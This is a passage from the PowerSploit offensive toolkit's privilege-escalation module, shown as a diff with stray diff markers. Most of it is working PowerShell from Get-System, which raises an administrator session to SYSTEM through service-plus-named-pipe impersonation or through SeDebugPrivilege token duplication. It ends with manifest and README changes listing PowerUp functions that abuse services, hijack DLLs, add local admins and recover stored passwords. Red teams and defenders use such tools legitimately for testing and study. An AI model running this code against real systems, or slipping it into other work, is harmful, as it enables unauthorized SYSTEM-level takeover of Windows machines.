# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
|
||||
function Local:Get-ProcAddress
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([IntPtr])]
|
||||
|
||||
[Parameter( Position = 0, Mandatory = $True )]
|
||||
[String]
|
||||
$Module,
|
||||
|
||||
[Parameter( Position = 1, Mandatory = $True )]
|
||||
[String]
|
||||
$Procedure
|
||||
)
|
||||
|
||||
# Get a reference to System.dll in the GAC
|
||||
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
|
||||
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
|
||||
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
|
||||
# Get a reference to the GetModuleHandle and GetProcAddress methods
|
||||
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
|
||||
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
|
||||
# Get a handle to the module specified
|
||||
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
|
||||
$tmpPtr = New-Object IntPtr
|
||||
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
|
||||
|
||||
# Return the address of the function
|
||||
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
|
||||
}
|
||||
|
||||
# performs named pipe impersonation to elevate to SYSTEM without needing
|
||||
# SeDebugPrivilege
|
||||
function Local:Get-SystemNamedPipe {
|
||||
param(
|
||||
[String]
|
||||
$ServiceName = "TestSVC",
|
||||
|
||||
[String]
|
||||
$PipeName = "TestSVC"
|
||||
)
|
||||
|
||||
$Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`""
|
||||
|
||||
Add-Type -Assembly System.Core
|
||||
|
||||
# create the named pipe used for impersonation and set appropriate permissions
|
||||
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
|
||||
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" )
|
||||
$PipeSecurity.AddAccessRule($AccessRule)
|
||||
$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity)
|
||||
|
||||
$PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle()
|
||||
|
||||
# Declare/setup all the needed API function
|
||||
# adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
|
||||
$ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
|
||||
$ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int])
|
||||
$ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate)
|
||||
|
||||
$CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
|
||||
$CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
|
||||
$CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)
|
||||
|
||||
$OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
|
||||
$OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr])
|
||||
$OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)
|
||||
|
||||
$OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
|
||||
$OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr])
|
||||
$OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)
|
||||
|
||||
$CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
|
||||
$CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr])
|
||||
$CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)
|
||||
|
||||
$StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
|
||||
$StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr])
|
||||
$StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)
|
||||
|
||||
$DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
|
||||
$DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr])
|
||||
$DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)
|
||||
|
||||
$GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
|
||||
$GetLastErrorDelegate = Get-DelegateType @() ([Int])
|
||||
$GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)
|
||||
|
||||
# Step 1 - OpenSCManager()
|
||||
# 0xF003F = SC_MANAGER_ALL_ACCESS
|
||||
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
|
||||
Write-Verbose "Opening service manager"
|
||||
$ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F)
|
||||
Write-Verbose "Service manager handle: $ManagerHandle"
|
||||
|
||||
# if we get a non-zero handle back, everything was successful
|
||||
if ($ManagerHandle -and ($ManagerHandle -ne 0)) {
|
||||
|
||||
# Step 2 - CreateService()
|
||||
# 0xF003F = SC_MANAGER_ALL_ACCESS
|
||||
# 0x10 = SERVICE_WIN32_OWN_PROCESS
|
||||
# 0x3 = SERVICE_DEMAND_START
|
||||
# 0x1 = SERVICE_ERROR_NORMAL
|
||||
Write-Verbose "Creating new service: '$ServiceName'"
|
||||
try {
|
||||
$ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
|
||||
$err = $GetLastError.Invoke()
|
||||
}
|
||||
catch {
|
||||
Write-Warning "Error creating service : $_"
|
||||
$ServiceHandle = 0
|
||||
}
|
||||
Write-Verbose "CreateServiceA Handle: $ServiceHandle"
|
||||
|
||||
if ($ServiceHandle -and ($ServiceHandle -ne 0)) {
|
||||
$Success = $True
|
||||
Write-Verbose "Service successfully created"
|
||||
|
||||
# Step 3 - CloseServiceHandle() for the service handle
|
||||
Write-Verbose "Closing service handle"
|
||||
$Null = $CloseServiceHandle.Invoke($ServiceHandle)
|
||||
|
||||
# Step 4 - OpenService()
|
||||
Write-Verbose "Opening the service '$ServiceName'"
|
||||
$ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
|
||||
Write-Verbose "OpenServiceA handle: $ServiceHandle"
|
||||
|
||||
if ($ServiceHandle -and ($ServiceHandle -ne 0)){
|
||||
|
||||
# Step 5 - StartService()
|
||||
Write-Verbose "Starting the service"
|
||||
$val = $StartServiceA.Invoke($ServiceHandle, $null, $null)
|
||||
$err = $GetLastError.Invoke()
|
||||
|
||||
# if we successfully started the service, let it breathe and then delete it
|
||||
if ($val -ne 0){
|
||||
Write-Verbose "Service successfully started"
|
||||
# breathe for a second
|
||||
Start-Sleep -s 1
|
||||
}
|
||||
else{
|
||||
if ($err -eq 1053){
|
||||
Write-Verbose "Command didn't respond to start"
|
||||
}
|
||||
else{
|
||||
Write-Warning "StartService failed, LastError: $err"
|
||||
}
|
||||
# breathe for a second
|
||||
Start-Sleep -s 1
|
||||
}
|
||||
|
||||
# start cleanup
|
||||
# Step 6 - DeleteService()
|
||||
Write-Verbose "Deleting the service '$ServiceName'"
|
||||
$val = $DeleteService.invoke($ServiceHandle)
|
||||
$err = $GetLastError.Invoke()
|
||||
|
||||
if ($val -eq 0){
|
||||
Write-Warning "DeleteService failed, LastError: $err"
|
||||
}
|
||||
else{
|
||||
Write-Verbose "Service successfully deleted"
|
||||
}
|
||||
|
||||
# Step 7 - CloseServiceHandle() for the service handle
|
||||
Write-Verbose "Closing the service handle"
|
||||
$val = $CloseServiceHandle.Invoke($ServiceHandle)
|
||||
Write-Verbose "Service handle closed off"
|
||||
}
|
||||
else {
|
||||
Write-Warning "[!] OpenServiceA failed, LastError: $err"
|
||||
}
|
||||
}
|
||||
|
||||
else {
|
||||
Write-Warning "[!] CreateService failed, LastError: $err"
|
||||
}
|
||||
|
||||
# final cleanup - close off the manager handle
|
||||
Write-Verbose "Closing the manager handle"
|
||||
$Null = $CloseServiceHandle.Invoke($ManagerHandle)
|
||||
}
|
||||
else {
|
||||
# error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
|
||||
Write-Warning "[!] OpenSCManager failed, LastError: $err"
|
||||
}
|
||||
|
||||
if($Success) {
|
||||
Write-Verbose "Waiting for pipe connection"
|
||||
$Pipe.WaitForConnection()
|
||||
|
||||
$Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd()
|
||||
|
||||
$Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle)
|
||||
Write-Verbose "ImpersonateNamedPipeClient: $Out"
|
||||
}
|
||||
|
||||
# clocse off the named pipe
|
||||
$Pipe.Dispose()
|
||||
}
|
||||
|
||||
# performs token duplication to elevate to SYSTEM
|
||||
# needs SeDebugPrivilege
|
||||
# written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
|
||||
Function Local:Get-SystemToken {
|
||||
[CmdletBinding()] param()
|
||||
|
||||
$DynAssembly = New-Object Reflection.AssemblyName('AdjPriv')
|
||||
$AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False)
|
||||
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
|
||||
|
||||
$TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType])
|
||||
$TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null
|
||||
$TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null
|
||||
$TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null
|
||||
$TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType()
|
||||
|
||||
$LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType])
|
||||
$LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
|
||||
$LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
|
||||
$LuidStruct = $LuidTypeBuilder.CreateType()
|
||||
|
||||
$Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType])
|
||||
$Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null
|
||||
$Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
|
||||
$Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType()
|
||||
|
||||
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
|
||||
$ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray
|
||||
$FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
|
||||
|
||||
$TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType])
|
||||
$TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
|
||||
$PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public')
|
||||
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1))
|
||||
$PrivilegesField.SetCustomAttribute($AttribBuilder)
|
||||
$TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType()
|
||||
|
||||
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder(
|
||||
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
|
||||
'advapi32.dll',
|
||||
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
|
||||
@([Bool] $True)
|
||||
)
|
||||
|
||||
$AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder(
|
||||
([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]),
|
||||
'kernel32.dll',
|
||||
@([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')),
|
||||
@([Bool] $True)
|
||||
)
|
||||
|
||||
$Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType])
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'OpenProcess',
|
||||
'kernel32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[IntPtr],
|
||||
@([UInt32], [Bool], [UInt32]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder2)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'CloseHandle',
|
||||
'kernel32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder2)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'DuplicateToken',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr], [Int32], [IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'SetThreadToken',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr], [IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'OpenProcessToken',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'LookupPrivilegeValue',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([String], [String], [IntPtr].MakeByRefType()),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32TypeBuilder.DefinePInvokeMethod(
|
||||
'AdjustTokenPrivileges',
|
||||
'advapi32.dll',
|
||||
[Reflection.MethodAttributes] 'Public, Static',
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
@([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
'Auto').SetCustomAttribute($AttribBuilder)
|
||||
|
||||
$Win32Methods = $Win32TypeBuilder.CreateType()
|
||||
|
||||
$Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'}
|
||||
$GetCurrentProcess = $Win32Native.GetMethod(
|
||||
'GetCurrentProcess',
|
||||
[Reflection.BindingFlags] 'NonPublic, Static'
|
||||
)
|
||||
|
||||
$SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
$STANDARD_RIGHTS_REQUIRED = 0x000F0000
|
||||
$STANDARD_RIGHTS_READ = 0x00020000
|
||||
$TOKEN_ASSIGN_PRIMARY = 0x00000001
|
||||
$TOKEN_DUPLICATE = 0x00000002
|
||||
$TOKEN_IMPERSONATE = 0x00000004
|
||||
$TOKEN_QUERY = 0x00000008
|
||||
$TOKEN_QUERY_SOURCE = 0x00000010
|
||||
$TOKEN_ADJUST_PRIVILEGES = 0x00000020
|
||||
$TOKEN_ADJUST_GROUPS = 0x00000040
|
||||
$TOKEN_ADJUST_DEFAULT = 0x00000080
|
||||
$TOKEN_ADJUST_SESSIONID = 0x00000100
|
||||
$TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
|
||||
$TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
|
||||
$TOKEN_ASSIGN_PRIMARY -bor
|
||||
$TOKEN_DUPLICATE -bor
|
||||
$TOKEN_IMPERSONATE -bor
|
||||
$TOKEN_QUERY -bor
|
||||
$TOKEN_QUERY_SOURCE -bor
|
||||
$TOKEN_ADJUST_PRIVILEGES -bor
|
||||
$TOKEN_ADJUST_GROUPS -bor
|
||||
$TOKEN_ADJUST_DEFAULT -bor
|
||||
$TOKEN_ADJUST_SESSIONID
|
||||
|
||||
[long]$Luid = 0
|
||||
|
||||
$tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
|
||||
$tokPriv1Luid.Count = 1
|
||||
$tokPriv1Luid.Luid = $Luid
|
||||
$tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
|
||||
|
||||
$RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
|
||||
|
||||
$htoken = [IntPtr]::Zero
|
||||
$RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
|
||||
|
||||
$tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
|
||||
$RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
|
||||
|
||||
if(-not($RetVal)) {
|
||||
Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop
|
||||
}
|
||||
|
||||
$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
|
||||
|
||||
$SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
|
||||
try {
|
||||
$OwnerInfo = $_.GetOwner()
|
||||
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
|
||||
$OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper()
|
||||
|
||||
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
|
||||
$Process = Get-Process -Id $_.ProcessId
|
||||
|
||||
$Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
|
||||
if ($Handle) {
|
||||
$Handle
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch {}
|
||||
} | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1
|
||||
|
||||
if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
|
||||
Write-Error 'Unable to obtain a handle to a system process.'
|
||||
}
|
||||
else {
|
||||
[IntPtr]$SystemToken = [IntPtr]::Zero
|
||||
$RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
Write-Verbose "OpenProcessToken result: $RetVal"
|
||||
Write-Verbose "OpenProcessToken result: $LastError"
|
||||
|
||||
[IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
|
||||
$RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
Write-Verbose "DuplicateToken result: $LastError"
|
||||
|
||||
$RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
if(-not($RetVal)) {
|
||||
Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop
|
||||
}
|
||||
|
||||
Write-Verbose "SetThreadToken result: $LastError"
|
||||
$null = $Win32Methods::CloseHandle($Handle)
|
||||
}
|
||||
}
|
||||
|
||||
if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
|
||||
Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop
|
||||
}
|
||||
|
||||
if($PSBoundParameters['WhoAmI']) {
|
||||
Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)"
|
||||
return
|
||||
}
|
||||
|
||||
elseif($PSBoundParameters['RevToSelf']) {
|
||||
$RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
|
||||
$RevertToSelfDelegate = Get-DelegateType @() ([Bool])
|
||||
$RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
|
||||
|
||||
$RetVal = $RevertToSelf.Invoke()
|
||||
if($RetVal) {
|
||||
Write-Output "RevertToSelf successful."
|
||||
}
|
||||
else {
|
||||
Write-Warning "RevertToSelf failed."
|
||||
}
|
||||
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
|
||||
}
|
||||
|
||||
else {
|
||||
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
|
||||
Write-Error "Script must be run as administrator" -ErrorAction Stop
|
||||
}
|
||||
|
||||
if($Technique -eq 'NamedPipe') {
|
||||
# if we're using named pipe impersonation with a service
|
||||
Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
|
||||
}
|
||||
else {
|
||||
# otherwise use token duplication
|
||||
Get-SystemToken
|
||||
}
|
||||
Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)"
|
||||
}
|
||||
}
|
||||
3863
Privesc/PowerUp.ps1
3863
Privesc/PowerUp.ps1
File diff suppressed because one or more lines are too long
|
|
@ -10,7 +10,7 @@ ModuleVersion = '3.0.0.0'
|
|||
GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'
|
||||
|
||||
# Author of this module
|
||||
Author = 'Will Schroder'
|
||||
Author = 'Will Schroeder'
|
||||
|
||||
# Copyright statement for this module
|
||||
Copyright = 'BSD 3-Clause'
|
||||
|
|
@ -22,31 +22,39 @@ Description = 'PowerSploit Privesc Module'
|
|||
PowerShellVersion = '2.0'
|
||||
|
||||
# Functions to export from this module
|
||||
FunctionsToExport = @(
|
||||
'Get-ServiceUnquoted',
|
||||
'Get-ServiceFilePermission',
|
||||
'Get-ServicePermission',
|
||||
FunctionsToExport = @(
|
||||
'Add-ServiceDacl',
|
||||
'Find-PathDLLHijack',
|
||||
'Find-ProcessDLLHijack',
|
||||
'Get-ApplicationHost',
|
||||
'Get-CachedGPPPassword',
|
||||
'Get-CurrentUserTokenGroupSid',
|
||||
'Get-ModifiablePath',
|
||||
'Get-ModifiableRegistryAutoRun',
|
||||
'Get-ModifiableScheduledTaskFile',
|
||||
'Get-ModifiableService',
|
||||
'Get-ModifiableServiceFile',
|
||||
'Get-RegistryAlwaysInstallElevated',
|
||||
'Get-RegistryAutoLogon',
|
||||
'Get-ServiceDetail',
|
||||
'Invoke-ServiceAbuse',
|
||||
'Write-ServiceBinary',
|
||||
'Install-ServiceBinary',
|
||||
'Restore-ServiceBinary',
|
||||
'Find-DLLHijack',
|
||||
'Find-PathHijack',
|
||||
'Write-HijackDll',
|
||||
'Get-RegAlwaysInstallElevated',
|
||||
'Get-RegAutoLogon',
|
||||
'Get-VulnAutoRun',
|
||||
'Get-VulnSchTask',
|
||||
'Get-ServiceUnquoted',
|
||||
'Get-SiteListPassword',
|
||||
'Get-System',
|
||||
'Get-UnattendedInstallFile',
|
||||
'Get-Webconfig',
|
||||
'Get-ApplicationHost',
|
||||
'Write-UserAddMSI',
|
||||
'Invoke-AllChecks'
|
||||
'Install-ServiceBinary',
|
||||
'Invoke-AllChecks',
|
||||
'Invoke-ServiceAbuse',
|
||||
'Restore-ServiceBinary',
|
||||
'Set-ServiceBinPath',
|
||||
'Test-ServiceDaclPermission',
|
||||
'Write-HijackDll',
|
||||
'Write-ServiceBinary',
|
||||
'Write-UserAddMSI'
|
||||
)
|
||||
|
||||
# List of all files packaged with this module
|
||||
FileList = 'Privesc.psm1', 'PowerUp.ps1', 'README.md'
|
||||
FileList = 'Privesc.psm1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md'
|
||||
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -28,32 +28,40 @@ Optional Dependencies: None
|
|||
|
||||
|
||||
### Service Enumeration:
|
||||
Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name
|
||||
Get-ServiceFilePermission - returns services where the current user can write to the service binary path or its config
|
||||
Get-ServicePermission - returns services the current user can modify
|
||||
Get-ServiceDetail - returns detailed information about a specified service
|
||||
Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name
|
||||
Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config
|
||||
Get-ModifiableService - returns services the current user can modify
|
||||
Get-ServiceDetail - returns detailed information about a specified service
|
||||
|
||||
### Service Abuse:
|
||||
Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command
|
||||
Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command
|
||||
Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command
|
||||
Restore-ServiceBinary - restores a replaced service binary with the original executable
|
||||
Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command
|
||||
Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command
|
||||
Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command
|
||||
Restore-ServiceBinary - restores a replaced service binary with the original executable
|
||||
|
||||
### DLL Hijacking:
|
||||
Find-DLLHijack - finds .dll hijacking opportunities for currently running processes
|
||||
Find-PathHijack - finds service %PATH% .dll hijacking opportunities
|
||||
Write-HijackDll - writes out a hijackable .dll
|
||||
Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes
|
||||
Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities
|
||||
Write-HijackDll - writes out a hijackable DLL
|
||||
|
||||
### Registry Checks:
|
||||
Get-RegAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
|
||||
Get-RegAutoLogon - checks for Autologon credentials in the registry
|
||||
Get-VulnAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
|
||||
Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set
|
||||
Get-RegistryAutoLogon - checks for Autologon credentials in the registry
|
||||
Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns
|
||||
|
||||
### Misc.:
|
||||
Get-VulnSchTask - find schtasks with modifiable target files
|
||||
Get-UnattendedInstallFile - finds remaining unattended installation files
|
||||
Get-Webconfig - checks for any encrypted web.config strings
|
||||
Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
|
||||
Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
|
||||
Invoke-AllChecks - runs all current escalation checks and returns a report
|
||||
### Miscellaneous Checks:
|
||||
Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files
|
||||
Get-UnattendedInstallFile - finds remaining unattended installation files
|
||||
Get-Webconfig - checks for any encrypted web.config strings
|
||||
Get-ApplicationHost - checks for encrypted application pool and virtual directory passwords
|
||||
Get-SiteListPassword - retrieves the plaintext passwords for any found McAfee's SiteList.xml files
|
||||
Get-CachedGPPPassword - checks for passwords in cached Group Policy Preferences files
|
||||
|
||||
### Other Helpers/Meta-Functions:
|
||||
Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify
|
||||
Get-CurrentUserTokenGroupSid - returns all SIDs that the current user is a part of, whether they are disabled or not
|
||||
Add-ServiceDacl - adds a Dacl field to a service object returned by Get-Service
|
||||
Set-ServiceBinPath - sets the binary path for a service to a specified value through Win32 API methods
|
